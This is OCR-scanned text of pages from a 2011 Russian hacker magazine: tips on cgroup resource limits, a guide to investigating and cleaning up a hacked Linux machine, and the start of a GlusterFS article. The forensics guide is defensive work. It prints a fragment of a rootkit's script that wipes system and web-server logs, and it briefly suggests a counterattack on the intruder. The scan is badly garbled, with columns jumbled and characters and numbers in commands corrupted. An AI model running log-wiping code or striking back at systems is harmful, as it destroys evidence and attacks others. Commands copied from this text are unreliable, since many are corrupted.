$ echo 188 > /mnt/cgroups/cpu/me/npviewer/cpu.shares $ echo 100м > \ /mnt/cgroups/memory/me/npviewer/memory.limit_in_bytes

= /mnt/cgroups/Ьlkio;

На этот раз добавим в группу уже работающий процесс: Закрываем файл и nерезапускаем сервис

cgconfig: $ cgclassify -g memory,cpu:me/пpviewer \ " pidof npviewer.bin ·

$ sudo /etc/init.d/cgconfig Все, теперь в каталогах /mnt/cgгoups/cpu, /mnt/cgгoups/memoгy и

Чтобы не вводить все эти зубодробительные команды после каж­

/mnt/cgгoups/Ыkio можно создавать новые группы процессов, огра­

дой загрузки машины, их можно записать в конфигурационный файл

ничиваемых одноименной подсистемой.

/etc/cgconfi g.confi g:

Проблема только в том, что для заnиси эти каталоги доступны только пользователю гооt . Выйти из этой ситуации можно создав новую группу для самого себя с помощью команды cgcгeate:

$ sudo cgcreate

$USER -g

Это команда создаст каталог

cpu,memory,Ыkio:me

me

в каталогах

cpu,

memoгy и

Ыkio, доступный для заnиси и чтения текущим пользователем.

# vi /etc/cgconfig.conf # Группа для пользователя group me { perm { # Кто может управлять лимитами? admin uid = UID_пользователя

В эту метагрупnу можно поместить нужные процессы и настро­

# Кто может добавлять процессы task { uid = UID_пользователя

ить ограничения, но лучше для каждого nриложения создать

собственную группу . Создадим, наnример, группу для приложения tгansmission, которая будет ограничивать его приоритет ввода­

в группу?

вывода:

$ cgcreate -g

Ыkio:me/transmission

Изменим приоритет (так называемый вес] ввода-вывода для этой групnы до минимума (возможные значения от 100 до 1000]:

$ echo 100 > /mnt/cgroups/Ьlkio/me/transmission/bklio.weight

> ulimit -а (Ьlocks, -с) 0 core file size data seg size Ckbytes, -d) unlimited С-е) 30 scheduling priority file size CЫocks, -f) unlimited ( -i) 15058 pending signals max locked memory Ckbytes, -1) 40000 max memory size Ckbytes, -m) unlimited open files C-n) 1024 pipe size (512 bytes, -р) 8 POSIX message queues Cbytes, -q) 819200 real-time priority С-г) 55 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited (-u) 16058 max user processes (kbytes, -v) unlimited virtual memory (-х) unlimited file locks >1

# К каким подсистемам cpu { } memory { } Ыkio { }

привязана эта

группа?

group me/npviewer cpu { cpu.shares = 188 ; memory { memory.limit_in_bytes

group

me/traпsmission

Ыkio

100м ;

{

{

Ыkio.weight =

188;

}

Все, останется только привязать процессы к нужной группе .

I:I§I:I•I!W Ограничивать приложения в ресурсах не только можно, но и нужно. Ограничения помогают побороть тормоза системы, по­ ставить на место прожорливые программы, сделать интернет

быстрым даже во время работы

wget.

И все это с помощью про­

стых однострочных команд и конфигурационных файлов в пару строк. :Х:

С помощью

118

ulimit можно управлять не только лимитом на память

ХАКЕР

11 / 154/2 011


UNIXOID

Евгений Зобнин lexecЬit.rul

Зализываем раны ПОДРОБНОЕ HOW ТО О ТОМ, ЧТО СЛЕДУЕТ ДЕЛАТЬ СРАЗУ ПОСЛЕ ВЗЛОМА МАШИНЫ

брезгуют ничем: ни серверами,

-

ни домашними компами,

выбирай файловую

ни даже роутерами. Любая

систему Ыrfs в качестве основной,

Никто из нас не застрахован от взлома. Кул-хацкеры не

СРАЗУ ПОСЛЕ

При следующей

полной

комп [а он, конечно же, не выключается сутками напролет). откры­

переустановке

ваешь браузер и замечаешь какие-то странные притормаживания ,

дистрибутива

она не только

машина, подключенная к

Сети, может стать мишенью . Чтобы защитить себя, следует укреплять оборону с помощью

быстрее

ext4,

но и позволяет откатывать

файловую систему к предыдущим

состояниям.

что делать, если взлом все­

таки произошел? Как найти виновника и очистить систему

от подсунутых им бэкдоров?

ХАКЕР

11/154/2011

которых обычно никогда не было и быть не может. Чтобы узнать. в

чем дело, ты запускаешь монитор сети вроде iptгaf/gkгellm и видишь небольшие, но постоянные утечки трафика в сторону какого-то не­ знакомого

IP, да еще и со странного порта вроде 33477 или даже SSH.

В голове сразу пробегает мысль о взломе, ру ки начинают метаться по клавиатуре, но цели никакой не пр еследую т. Это па ника, а не осо ­ знан ны е действия. Чт о теперь делать?

В первую очередь с л е дует выдернуть сетевой шн ур из ком п а [или отключить точку д оступа, если и не т раз да ется по WiFi) . Можно, ко­

брандмауэра и следить за обновлениями софта, однако

Ты возвращаешься домой, наливаешь себе чашку кофе, садишься за

нечно, отключить и нет через графический интерфейс или кома ндой Разрешенный гооt­

лоrин через SSH или необновленный накануне FТР­ сервер- основные

типа << ifcoпfig

ethO dowп », но это займет больше времени, ко т орое

нельзя терять. Следует запомнить, что до выяснения всех све д ений о взломщике ни в коем случае нельзя перезагружать машину или

стопорить сетевые сер висы. Во-первых. вора следует искать п о

причины взлома

горячим следам, во-вторых, никто не знает, куда он засунул бэкдор, в

*niх-систем .

стартовые скрипты или в бинарник сетевого сервиса. Далее следует обзавестись чистыми инструментами администри­ рования. Больше системе доверять нельзя, любая ма л о-мальски

119


UNIXOID ПО ГОРЯЧИМ СЛЕДАМ

> less

lvar/log/outh . log Jul 19 82 :34 :50 localhмt sshdl238791: Fail ed

pesswoгd

for invelld user ts fr011

11Э . 195.б5.7б

por

t 37282 ssh2 Jul 19 82 :34 :58 locelhost sshdi21B771 : Pl\ll_unlx_sesslon(sshd :sesslon) : sesslon c losed for

us eг го

ot Jul 19 82 :5«1 : 19 \oce l host sshdl 252б61: rev eгse mopplng checklng geteddгinfo fог c:tel-78-157-22- 11!1 . coЫetel . com.lllk: (78 . 157 .22 .141 fe i led - POSS I ВlE B~Ef.H H Rffitf!T! Jul 19 82 :54 :21 loce l host sshdl 252ббl: Accepted posswoгd for root rгom 78. 157.22. 141 por t 64887 ss h2 Jul 19 82 :54:21 loco l host sshd[ 25 26БJ: Plllll...unlx_sesslon( sshd :sesslonJ: ses slon opened for user го

ot

Ьу

Jul 19 83 :15 :52 locothost sudo : r oot : ТТУ=рts /8 ; Pl-0=/root ; USER=root ; COI't'ЯНO=/usr /Ьin / p ept Jul 19 ВЭ : 15 :52 tocolhost sudo : poll_un i xlsudo :sesston J: sesslon opened for user r oot Ьу r ootculd=

&CIW'I

Jul 19 Jul 19

цессах, текущих сетевых соединениях !даже после выдергивания кабеля система будет некоторое время держать соединения откры­

тыми], открытых портах и всем, что мы потеряем после перезагрузки, в файлы на карте памяти:

{uid=BJ

Jul 19 02 :59 : 15 locelho5 t sudo : гоо t : ПY=pts/8 ; PI-C=Iгoot ; USER=гoo t ; ~НO=/usr /Ыn/p ocmon -Syy Jul 19 82 :59 : 15 locelhost sudo : P<'ll_unix(sudo :sesslonJ : sesslon орепеd for user r oot Ьу r ootculd=

., .,

Первое, что нужно сделать,- это сохранить все сведения о про­

ВЭ : IБ : I В ВЭ : 55 : 8б

. ceЫetel . con . 81k

locelhos t pesswdt21Б77J : pм_uni~Cip&sswd : chllllthtolcJ : pм!IIIOI"'d ch&nged for root locelhost sshi:HЭ2398] : reverse мpplng checlctng get&ddr'lnfo for ctel-78- 157- 22- 14 [ 78 . 157 .22 . 14] folled

Та к выглядит /va г/log/auth . log после входа по SSH по сторонне го поль зователя

# # # # # # #

D=/ media/usbfl ash busybox ps > $D/ps.txt busybox net stat - tuw > $D/conn . txt busybox netstat - tuwl \ grep LISTEN > $D/listen. txt busybox who > $D/users.txt busybox lsmod > $D/modules.txt busybox mount > $D/mount . txt Теперь у нас есть несколько файлов, которые хранят сведения

(!ll i f [ "$1" == "--cleaгlogs" J; then echo "[• JCleaгning Logs ... " echo "------------------------------------" #Cleaгs 32 Diffeгent Logs Ыanklog< 1 < i f [ -f $<1 J J; then echo echo "--[•JCleaгed $(1)" echo > $<11 i f [ -f $<1 J . 1 J ; then echo "--[•JCleaгed $<11 Backup" echo "" > $(1} . 1 fi fi Ыank

log

о текущем состоянии системы. В файле

подозрительных приложений, которых в системе быть не должно.

Немногие кул-хацкеры обременяют себя какой-либо маскировкой своих процессов, поэтому в списке ты можешь найти названия известных руткитов или даже команд типа пс или например

cups,

хотя ты сам удалил его еще год назад- с большой

пользователя работает сервис !если это не гооt], и найти все его файлы с помощью следующей команды:

J

-user

ЮЗЕР

Скорее всего ты увидишь исходники бэкдора или бота и другие

Ыanklog /vaг!log/httpd/access_log Ыanklog /vaг / log/httpd/access.log Ыanklog /vaг/log/httpd/eггoг _log Ыanklog / vaг/log/httpd /eггoг

Также в

вероятностью это бэкдор. Тогда нужно посмотреть, справами какого

# busybox fi nd

Ыanklog /vaг/log/messages

telnet.

списке могут быть имена сервисов, несвойственных твоей системе,

/ vаг !log/last log

Ыanklog / vaг/log / syslog Ыanklog /vaг / log/syslog

ps.txt перечислены все

активные процессы. Его следует внимательно изучить на предмет

следы деятельности взломщика . Вполне возможно, что в списке процессов ты вообще не увидишь ничего подозрительного, но это

.log

совсем не значит, что взломщик не оставил бэкдора, возможно его скрывает специальный модуль ядра . Как его найти, ты узнаешь в

Да ж е са м ы й простой Liпuх-руткит у м еет чистить логи

следующем разделе.

В файле

conn.txt будут перечислены все сетевые соединения . Здесь

необходимо смотреть в сторону nодозрительных IР-адресов удаленной полезная утилита может быть изменена: бэкдора, подсунутого хацкером, цессов,

ls может скрывать файлы ps- исключать их из списка про­

lsmod- не выводить информацию о подозрительных моду­

стороны и номеров портов. Вполне возможно, взломщик использовал « активныЙ >> бэкдор, который сам подключается к машине злоумыш­

ленника, вместо того чтобы ждать соединения . В любом случае,

лях. Нам нужны новые, заведомо «чистые >>, инструменты. Все они

список необходимо проанализировать очень тщательно, возможно ты

есть в па кете

найдешь IР-адрес подлеца??. Файл

busybox, его версию для своего дистрибутива можно

listen.txt- это список открытых

скачать используя другую машину !п одойдет смартфон, планшет,

портов . Твоя задача -узнать, какой сервис скрыт за тем или иным но­

нетбук], положить на фле ш ку и установить:

мером, и выяснить, является ли он легальным !например, может быть открыт порт 80, но wеЬ-сервера на твоей машине никогда не было]. Файл useгs . txt- список текущих пользователей. Здесь все должно

# dpkg -i busybox-*

быть ясно: любой левый пользователь-твой враг, более детальную Или собрать самостоятельно из исходников:

ин фу о нем мы узнаем на следующем этапе разбирательства. Файл

modules.txt- список загруженных модулей , смотрим, анализируем, га­ # # # #

даем, может ли тот или иной модуль быть загружен на нашей машине .

wget http : //goo.gl/ TuWTE tar -xjf busybox- 1 .19.1.tar.bz2 cd busybox-1.19.1 make menuconfig

11

просто выходим из

Файл

mount.txt- примонтированные файловые системы, некоторые

взломщики используюттрюки с перемонтированием для подсовыва­

ния левых файлов, сокрытия своих действий или подмены файлов.

конфигуратора

Этот анализ стоит провести по возможности немного позже, а сейчас самое время воткнуть в привод какой-нибудь

# make # make i nsta l l

LiveCD и

сбросить машину !сбросить кнопкой, а не через меню или команду геЬооt- как я уже говорил, скриптам инициализации/шатдауна до­

Также подойдет вариант с уста н овкой па кета

busybox на другую

верять нельзя].

машину с последующим копированием бинарника /Ьin/busybox !этот вариант даже предпочтительнее, главное, чтобы ОС и процессорная

архитектура машин совпадали]. Свежеустановленный busybox дол­

ЧТО ПРОИЗОШЛО? После перезагрузки и входа в

LiveCD делаем следующее:

жен содержать «чистые » версии всех необходимых нам администра­

тивных утилит, однако и ему нельзя верить на

100%:

особо извра­

щенные взломщики могут подменить также и установщик па кетов, и

утилиту

можно узнать из ранее сохраненного файла mount.txt]:

wget, и даже ер, но это уже совсем сюрреалистичный случай,

и он маловероятен. Теперь можно приступить к исследованию.

120

1. Проверяем все файловые системы нашей машины !имена разделов

# e2fsck_jdev/sda{ 1,2,3,4}

ХАКЕР

11/154/2011


Зализываем раны

/etc/passwd [точнее, /mпt/etc/passwdl на предмет nользователей с нулевым UID:

SSHERIFF

# busybox cat /etc/passwd

1

grep '. * :. *: е:'

Воттак можно разрешить гооt-логин только с доверенных хостов: Если нашлось более одной записи, зна чит, взломщик успел за­

# vi /etc/ssh/sshd_config

вести дополнительного суперпользователя. Найди его домашний

PermitRootLogin no Match Host 192.168.1.*,127.e.e.l PermitRootlogin yes

тех же странных файлов и подкаталогов. Часто, чтобы не палить­

каталог [предпоследнее поле! и изучи содержимое в поиска х все ся, взломщики не трогают юзерские учетные записи и не меняют

па роли, а просто добавляют свой ключ в файл -/.ssh/authoгized_keys какого-либо пользователя. Стоит проверить этот файл на предмет

левых ключей [обычно там есть только один публичный ключ, кото­

2. Монтируем корневую файловую систему к каталогу /mnt [опять же консультируемся с mount.txtl:

рый ты сам туда добавил, либо файла не существует вовсе!. Еще несколько любимых методов оставления бэкдора на скорую руку:

# mount /dev/sdaX /mnt

1.

UID-бит на файлы, проверка на которые делается с помощью пре­ словутого fiпd:

3. Таким же образом монтируем все остальные разделы в соответ­ ствии с mount.txt.

# busybox find

4. На всякий случай копируем в /mnt/Ьin busybox с LiveCD [если, конеч­

Правда, тут надо знать, какие файлы могутиметь SUID-бит, а какие

но, на диске он есть!:

1 \( -perm

-е2еее -о

-perm -е4еее \)

нет. Но зто легко выяснить, выйдя из сhгооt-окружения, выполнив

ту же команду в отношении файлов

ер

#

/bin/busybox /mnt/bin/busybox

LiveCD и сравнив листинги. 2. Сетевой сервис xinetd, в который хацкер мог добавить свой собственный сервис. Следует просмотреть и проанализировать

5. Делаем каталог /mпt корневой файловой системой с помощью

содержимое файлов каталога /etc/xiпetd.d, а также файл /etc/iпetd.

conf. Кстати, сам факт наличия этого файла в системеуже о многом

chгoot:

говорит. Современные дистрибутивы читают его, но уже давно не

# chroot /mnt /bin/bash

используют.

3. Механизм подключаемы х модулей аутентификации РАМ . Взлом­ Теперь мы оказываемся в своей системе, но с заведомо «чисты­

ми >>

busybox и ядром . Это значит, что никакие методы сокрытия фай­

щик мог подсунуть в систему свой собственный модуль аутентифи­ кации,которыйпускаето пределенныхпользователейбезспроса.

лов и какой-либо деятельности взломщика теперь не работают. Что

Анализируем файлы каталога /etc/pam.d, обращаем внимание на

делать дальше? Во-первых, следует проверить каталоги /гооt, свой

третью колонку, там перечислены имена задействованных модулей

домашний каталог, а также /tmp, /vaг/tmp и /dev/shm на предмет на­

аутентификации. Вбиваем каждое из них в

личия странных файлов и подкаталогов. Это могут быть исполняемые

на легальность. Но следует помнить, что взломщик могхакнуть и

файлы с именами системных утилит, единичные файлы исходников с расширением 'с' либо целые каталоги с исходниками. Все зто может

Google и проверяем

легальный модуль .

4. Некоторые недальновидные огурцы умудряются записывать свои

остаться после взломщика, если он не успел, не хотел , либо оказал­

команды в с гоп. Там, например, может быть бзкдор, открывающий

ся слишком глуп, чтобы подчистить за собой . Обрати внимание на

определенный порт на

скрытые файлы, начинающиеся с точки, и имена вроде« ______ >>,

портбудет закрыт, и админ, полагающийся на показания

обычно злоумышленники пытаются скрыть свои файлы .

или

Далее следует просмотреть все файлы .bas h _ histoгy из домашних каталогов активных пользователей , вполне возможно, хацкер забыл

их стереть, и ты увидишь список вводимых им команд [вперемешку со своими, конечно!. Не лишним будет проверить содержимое файла

2 минуты каждые ше сть часов. В 99% случаев netstat

nmap, не заметит ничего необычного. Но достаточно пройтись

по файла м каталогов /etc/cгon. •, а та к же /vaг/spool/cгoп/cгontabs, и всестанет ясно.

5. СGI-скрипты. Не редко взломщики помещаютзакладки не в приложе­ ния самой операционной системы, а в различные сценарии, исполь­

зуемые wеЬ-сервером для динамической генерации ответов. Обычно зто случается, когда хацкер ломаетсервер через брешь в одном из

> cd / raat uпame

&&

cat

. bash_histaгy

-~

apt-get update yum fгее -m cat /etc / •-release i fconfig pacman -Rdd zope-interface sudo pacman -Syy sudo apt

таких скриптов, но не можетповыситьсвои права в системе . Тогда ему не остается ничего другого, как правитьскрипты wеЬ-сервера, по­

мещая в нихбзкдор [именно поэтому, кстати, с таких скриптое следует сниматьбитзаписи для всех пользователей, кроме гootl. К сожалению, все эти проверки ни к чему не при ведут, если модифицированными оказались системные утилиты и сервисы.

wget suda apt i tude update apt-get install sniffles - alsa installs libsniffle , libsniffle-dev suda apt-get install gгub-pc --гeinstall

sudo

растаn

apt

w passwd

+wget http: // 1inux .duke . edu / pгajects / yum / dawnlaad / 2 . B/ yum-2. В . 7 . tar . gz tаг -xvzf yum-2 . В , 7 . tar . gz cd yum-2 .B.7 ./ canfiguгe

make

Иногда взломщики изменяют расширенные атрибуты измененных

файлов с целью запретить их изменение. Чтобы вернуть все на свои места, достаточно выполнить следующую команду:

скрипт-кидди просто умиляют своей наивностью

ХАКЕР

ИЗМЕНЕНИЕ АТРИБУТОВ ФАЙЛОВ

11 /154/2011

# chattr -iacsuASDd {/,/usr,/usr/local}{/bin/,/sbin/}*

121


UNIXOID Взломщик может просто пересобрать

vsftpd с бэкдором вну-

три, установить его на место оригинала, подчистить за собой и

спокойно уйти.

99% пользователей даже не заметят этого и будут

считать, что с их системами все в nолном порядке. Для выявления подобных бэкдоров существуют специальные утилиты. Инстру­ мент гkhunteг- одна из лучших программ такого класса, она

способна найти большинство известных типов руткитов, умеет ска нировать не только обычные приложения, но и модули ядра,

> last root raot jlm j 1m

pts/3 pts/2 tty1 tty1

7В .157. 22.14 78 . 157 . 22 .14

геЬооt

system boat

2.6.39-ARCH

j1m jlm

tty1 tty1

reboot

system boot

jlm

tty1 tty1

j lm reboot

плюс ко всему она проводит аудит безопасности и показывает

геЬооt

nотенциально уязвимые к взлому сетевые сер висы. Использовать

reboot

ее просто, достаточно установить пакет с приложением (можешь смело подключаться к интернету с LiveCD, это безопасно!:

# apt-get install rkhunter

геЬооt геЬооt

reboot reboot reboot reboat reboot reboot reboot

Thu Jul 21 21 З9- 21:49 188:89) Thu Ju 1 21 21 37 gone - по logout

2.6.39-ARCH

system sys tem system system system system system system

boot boot boat boot boot boot boot boot

2.6.39-ARCH 2, б. 39-ARCH 2.6.39-ARCH 2.6.39-ARCH 2.6.39-ARCH 2. Б. 39-ARCH 2. б. 39-ARCH 2. Б. 37-ARCH

system system system system

boot boot boot boot

2. б. 37-Aii!CH 2. Б. 37-ARCH 2. Б. 37-ARCH 2. Б. 37-ARCH

Тhu

Jul 21 18

Thu Thu Thu Thu Thu

Jul Jul Jul Jul Jul

В?

st i 11 logged in

21 1В 87 - 18:87 21 1В 87 - 23:27 21 18 83 - cгash 21 18 83 - 18:8З 21 1В 83 - 23:27

188:881 185 :281 188:841 188 :88 1 185:241

Thu Jul 21 17 59 - crash

(80:04)

Thu Thu Thu Thu Thu Thu Thu Thu Thu Thu Thu Thu Thu

188:881 185 :281 188:881 188:111 188:211 188:881 188 :81 1 IBB: B2 1 IBB:221 184:111 188:431 18B:BBI IBB:811

Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul

21 17 21 17 21 17 21 17 21 17 21 17 21 17 21 17 21 17 2112 21 12 21 12 21 12

59 - 17:59 58 - 23:27 5Б - 17:5Б 45- 17:5Б 35- 17:5Б 32 - 17:32 ЭВ - 17:З2 29 - 17:32 ВБ - 17:29 54-17:85 89 - 12:5З В4 - 12:85 В2 - 12:84

И запустить обновление базы и проверку системы: В сравнении с

# /usr/bin/rkhunter --update # /usr/bin/rkhunter --check Заметь, что следуе т указывать полный путь до приложения, ведь

взломщик мог положить в каталог /Ьin свою версию утилиты, и без указания пути она будет найдена первой . Отчет гkhunteг вывалится в консоль, в нем будут указаны все возможные проблемы. К сожалению, одну очень важную вещь гkhunteг с делать не может. В нормальной ситуации эта утили та nозволяет делать сверку кон­ трольных сумм всех системных файлов с целью выявления факта их

модификации, однако, если до этого момента гkhunteг не был установ­ лен и его база не была обновлена, он не будет знать nравильные кон­

lastlog команда last дает более детальную информацию

> lastlog

Useгname гооt

Рог!

Fгom

pts/3

78.157.22 14

Latest Thu Jul

2121:З9:41

+8688 2811 logged in•• logged in•• **Неvег logged in•• ••Neveг logged in•• ннеvег logged in** ••Neveг logged in•• ••Neveг logged inн Thu Jul 21 18 :87 :47 +8668 2811 нNеvег logged iП** ••Neveг logged in•• ••Неvег logged iП** ••Неvег logged iП**

••Neveг ••Neveг

bin daemon mail ftp http nobody dbus j1m avahi deluge hal

tty1

incгon

трольные суммы. Здесь на помощь при ходят стандартные инструменты управления па кета ми. Дело в том, что пакеты любого дистрибутива со­

держат в себе контрольные суммы всех его файлов, исnользуя которые,

lastlog покажет,

с какого

IP и когда были

совершены все входы в систему

достаточно легко провести nроверку. Например, чтобы сделать это в

Fedoгa/RHEL, нужно набрать в командной строке следующее:

subsystem request for sftp Ьу user root reverse mappiпg checking getaddriпfo for Х.Х.Х.Х [Х.Х.Х.Х] failed - POSSIBLE BREAK-IN АТТЕМРТ!

# rpm -va В DeЬian / Ubuntu это сделать сложнее. Прид ется уста новить пакет

В

debsums:

99 случаях из ста эти строки будут значить, что в систему

вошли, используя банальный перебор паролей, которому обычно

предшествует огромное количество заnисей вида:

# sudo apt-get install debsums И заnустить одноименную утилиту:

# /usr/bin/debsums

Failed password for root from

Х.Х.Х.Х

port 3473 ssh2

Причем исходный IР-адрес в этом случае может и не совпадать с

-са

тем, с которого произошел вход,- взломщики обычно используют Правда, есть вероятность того, что взломщик заменил базу па ке­

бота в, которые сидят на другой машине, непрерывно сканируют

тов или вообще стер ее после установки бэкдора, но такое проис­

сеть и пытаются подобрать парали к открытому

ходит далеко не всегда.

набрать команду левого

1Mi•illtt4WJ Теперь самое время узнать, кто и каким образом попал в машину.

SSH. Далее можно lastlog, которая должна подтвердить факт входа с

IP. Ее вывод может быть примерно таким:

root pts/3

Х.Х.Х.Х

Thu Jul 21 21:39:41 +8688 2811

В этом деле наш главный друг- это лаги. Если взломщик забыл или не успел почистить лаги- нам сильно пове зло, так как они

Подтверждение можно найти и в выводе команды

last.

В любом

способны рассказать о нем nочти все. Но какие лаги нам нужны?

случае, ты будешь знать IР-адрес взломщика, который можно про­

На серверах в первую очередь надо проверить журналы различных

бить с помощью

сетевых сервисов :

этого можно написать жалобу на электронный адрес nровайдера и

apache, vsftpd, sam ba и т.д. На домашних машинах

whois, чтобы узнать имя его инет-провайдера. После

всего этого обычно нет, поэтому в nервую очередь следует смотреть в

надеяться на его понимание (хотя это редкость! или поnробовать

сторону

устроить ответную атаку

SSH, который часто бывает запущен по умолчанию.

SSH-cepвep пишет о (безlуспешных попытка х лаги на в /va г/ log /

:1.

Если взлом произошел через дыру в одном из сетевых сервисов,

auth.log (точнее, за него это делает PAMI. Кроме SSH, там будут и лаги

лаги и , скорее всего, не nомогут (хотя они могут зафикси ровать факт

других сервисов, что в общем хорошо. Просмотрим файл с конца в

смены пользователем привилегий или падения сервиса в результате

поисках строк следующего вида:

одной из неудачных попыток внедрения шелл-кода!. В этой ситуации следует руководствоваться косвенными уликами, такими как от­

Accepted password for root from pam_unix_session(sshd:sessioп) :

root Ьу (uid=8)

122

Х.Х.Х.Х

port 63241 ssh2 session opened for user

крытые се тевые соединения и следы, оставленные взломщиком в

системе, а также лагами системы аудита, если она установлена 1 /.'i.мl.

log/aud itd .l og l.

ХАКЕР

11/154/2011


Зализываем раны

USER_PROCESS

SYS_CALL_TABLE

SYS_LIB

syscall1

г-

---.

syscall2

г-

г+

syscaiiЗ

r-

г--+

... ...

~ ... r

KERNEL

alter_syscaiiЗ

cQ,

1

alter_syscall1

USER MODE

Руткит, реализованный в виде загружаемого модуля, может изменить практически любую функцию

ЧТО ДАЛЬШЕ?

......

..,_

--

г--

с0120020

;;;

с0120031

~

"' ф

""3 =-

с0120042

ф

..."'

Q.

evil_fuпcЗIJ

-

--

ф

""3 =ф

evil_fuпc21J evil_fuпc1()

KERNEL MODE

(

HARDWARE

HARDWARE

)

были описаны в первой части статьи, и удалить все возможные за­

О к, мы узнали, как взломщик проник в систему, кто он и что успел

кладки. Также стоит проанализировать все сколько-нибудь важные

изменить. Но как вернуть ОС в первоначальное состояние, избавив

конфигурационные файлы: во-первых, файлы системных настроек

ее от всех скрытых входов, оставленных взломщиком? Прост ой и

дистрибутива, во-вторых, настройки всех сетевых сервисов !если

самый правильный ответ на этот вопрос: переустановить все с нуля.

остались конфиги от уже удаленных па кетов, их следует удалить]. По

Ведь даже если ты переустановишь ядро, все пакеты и проверишь

возможности стоит проверить вообще все кон фиги, нередко взлом­

все конфиги на предмет вмешательства, никто не даст гарантии, что

щики оставляют свой след в самых неожиданных местах. Чтобы най­

где-нибудь не остался бэкдор, который сработает в самый неожи­

ти файлы, не принадлежащие па кета м, можно использовать утилиту

данный момент. Полную гарантию может дать только пере установка

cгuft-гemoveг !для DeЬiaп/Ubuпtul:

всей системы. Если же по каким-либо причинам всю систему переустановить

# apt-get install cruft

невозможно, следует хотя бы попробовать минимизировать риски.

11

Для этого следует переустановить все пакеты. Каждый дистрибутив

# cruft-remover --no-act find

позволяет это сделать, например, в OeЬiaп/Ubuпtu переустановка

11

всего происходит так:

# cruft-remover cleanup --all

#

dpkg-recoпfigure

-phigh

смотрим,

что нашлось

удаляем

Сразу после зачистки стоит установить гkhuпteг и запустить его в режиме сборки контрольных сумм:

Софт, установленный из исходников, переустанавливается или удаляется руками. Далее следует проверить все места, которые

# rkhunter --propupd Установщик гkhunteг пропишет в систему сгоп-скрипт, который

> гkhunteг --check

будет время от времени запускать утилиту и проверять ОС на из­ System check:s summaгy

Fi \е

мененные файлы. Чтобы сообщения о пр облемах сыпались в твой по­

ргорегt ies checks . . . Fi\es checked: 12В Suspect files : В

Rootk i t checks ... Rootki ts checked Poss iЬ\e гootkits:

1В9 В

чтовый ящик, добавь в конфиг /etc/гkhuпteг.coп f следующую строку:

MAIL-ON-WARNING; "root"

1:1§1:1•1!11 Оправиться после взлома не всегда легко, хацкер может потереть твои

Applicotions checks . . . App\icotions checked: 3 Suspect opplications: В

файлы и спереть конфиденциальные данные. Но от всего этого доволь­

The system checks took: 1 minute and 54 seconds

1. Всегда обновлять систему. 2. Запретить парольный вход по SSH. 3. Убрать из системы лишние сетевые сер висы.

А 11 гesu\

ts have been ..,.. i tten to the \ogfi \е ( /vаг 1 log/гkhunteг . logJ

One ог тоге waгnings hove been found whi \е checking the system. Please check the log file (/vaг/log/гkhunteг.logJ

но просто уберечься, если следовать трем нехитрым правилам:

В этом случае даже самый подготовленный взломщик не сможет Результатпроверки системы с помощью rkhuпter

ХАКЕР

11 /154/ 2011

проникнуть в твою систему . :Х:

123


SYN/ACK

Евгений Зобнин

[execblt.rul

\"J

для твоеи компании СОЗДАЕМ РАСПРЕДЕЛЕННОЕ ХРАНИЛИЩЕ ДАННЫХ С ПОМОЩЬЮ GLUSTERFS Когда речь заходит об организации распределен­

ногоотказоустойчивого хранилища данных, многие

-

usteгFS- это распределённая линейно масштабируемая файловая система с за щитой от сбоев. Она позволяет

Описание опций

томов :

htto:Ublt.Jy/nV9no8

объединить жесткие диски нескольких серверов в одно большое хранили ще с репликацией, или эеркалированием данных, на несколько машин и возможностью динамического расширения. Во

многом она похожа на файловые сис темы lustгe и

но , в отличие

от последних, не имеет выделенных серверов управления мета­

ры вспоминают о файловой

данными, чтосказывается напроизводительности,нопозволяет

системе lustгe, уже многие

сделать кластер более простым и управляемым. GlusteгFS не требует поддержки ФС в ядре, поэтому ее достаточно просто развернуть и ис­

годы используемой для

пользовать в гетерогенных средах, сос тоящи х из машин, поддержи­

хранения данных в самых

FUSE ILinux, Fг eeBSD, NetВSD, MacOS Xl.

вающих файловые системы пространства поль зова теля с помощью Возможности файловой системы довольно широки, и в этом пла­

больших кластерах мира. Однако у lustгe есть мно­

не она превосходит многие аналоги:

просто развернуть и настро­

ить. Поэтому сегодня мы по­ говорим о ее более простой

Поддержка передачи данных по каналам

TCP/ IP и

lпfiпibaпd RDMA и

TCP/IP. • • •

Автоматическое восстановление после сбоев. Возможностьавтоматическойрепликацииданныхпоузламкластера. Подключаемые балансировщики нагрузки, позволяющие подстро­

ить производительность ФС под конкретную задачу.

в использовании замене под

названием GlusteгFS .

Хорошая масштабируемость, близкая к О111lхранилище может до­ стигать размера в десятки петабайтl.

жество проблем и ее не так

12/0

ceph,

системные администрато­

Несколько механизмов аутентификации: << логин-пароль »,

MySQL,

LDAP.

ХАКЕР

11/154/2011


Форт Нокс для твоей компа н ии

[ Cli ents/Apps

W1

Cli ents/Apps

1}J

trace -

••• 1 Cll ents/Apps 1}J

позволяет произвести трассировку выполнения запроса

ввода-вывода .

i o- st ats - со б и рае т статистику операций ввода-вы вода . ..ol

"11

,.

..

Конечным модулем це п очки всегда является тра н с п орт н ый модуль sегvег или clieпt, обеспечивающий обмен данными по сети. Полный список документированных трансляторов можно

найти странице GlusteгFS [ http://euгope.g i usteг.oгg/commuп ity/

"' Gluster Global Namespace (NFS, CIFS, Gluster Native) Application Data

l.d _

~ О

iiili.:'

l.d

documentation/index . php/Tгaпslatoгs l . Несколько сторонних транс­ ляторов также было создано в рамках проекта CloudFS/HekaFS

[http://clou dfs.oгg l.

~

'\

'

MnЩel:ik!i Клиент и сервер GlusteгFS реализованы с помощью интерфейса

FUSE.

Gluster Virtual Storage Pool

Это значит, что для установки файловой системы на типичную

Liпuх-машину достаточно инсталлировать дистрибуционный пакет или собрать систему из исходников, нет необходимости патчить ядро или даже п ерезагружать машину. Например, в Ubuпtu инсталля ц ия

\..

производится следующим образом:

1. Клиенты могут получить доступ к облаку

Glusterfs несколькими

разными способами

Устанавливаем пакеты, необходимые для установки и функциони­

рования G l usteг F S-клиeнтa и сервера:

$ sudo apt-get

iпstall

ope nss h -server wget пfs-common

Возможность испо л ьзования BeгkeleyDB для эффектив н ого хране­

2. Скачиваем и устанавливаем пакет GlusteгFS [это необходимо сде­

ния множества мелких файлов. Возможность подключения модулей для кэширования и включе­

лать как на клиентских, так и на серверных машинах!:

ния таких функций как Read-Ahead [упреждающее чтение! и Wгite­ B eh i пd [отложенная за п ись ! д ля улучшения п роизводительности.

$ wget ht tp://download.g l uster.com/p ub/g lu ster/

Функция восстановления удаленных файлов .

glusterfs/L ATEST/Ubuntu/glusterfs_3.2 . 2- 1_amdб4.deb

Возможность шифрования данных. Гибкий мехнизм трасси р овки, п озвол яю щ ий выявить узкие места в

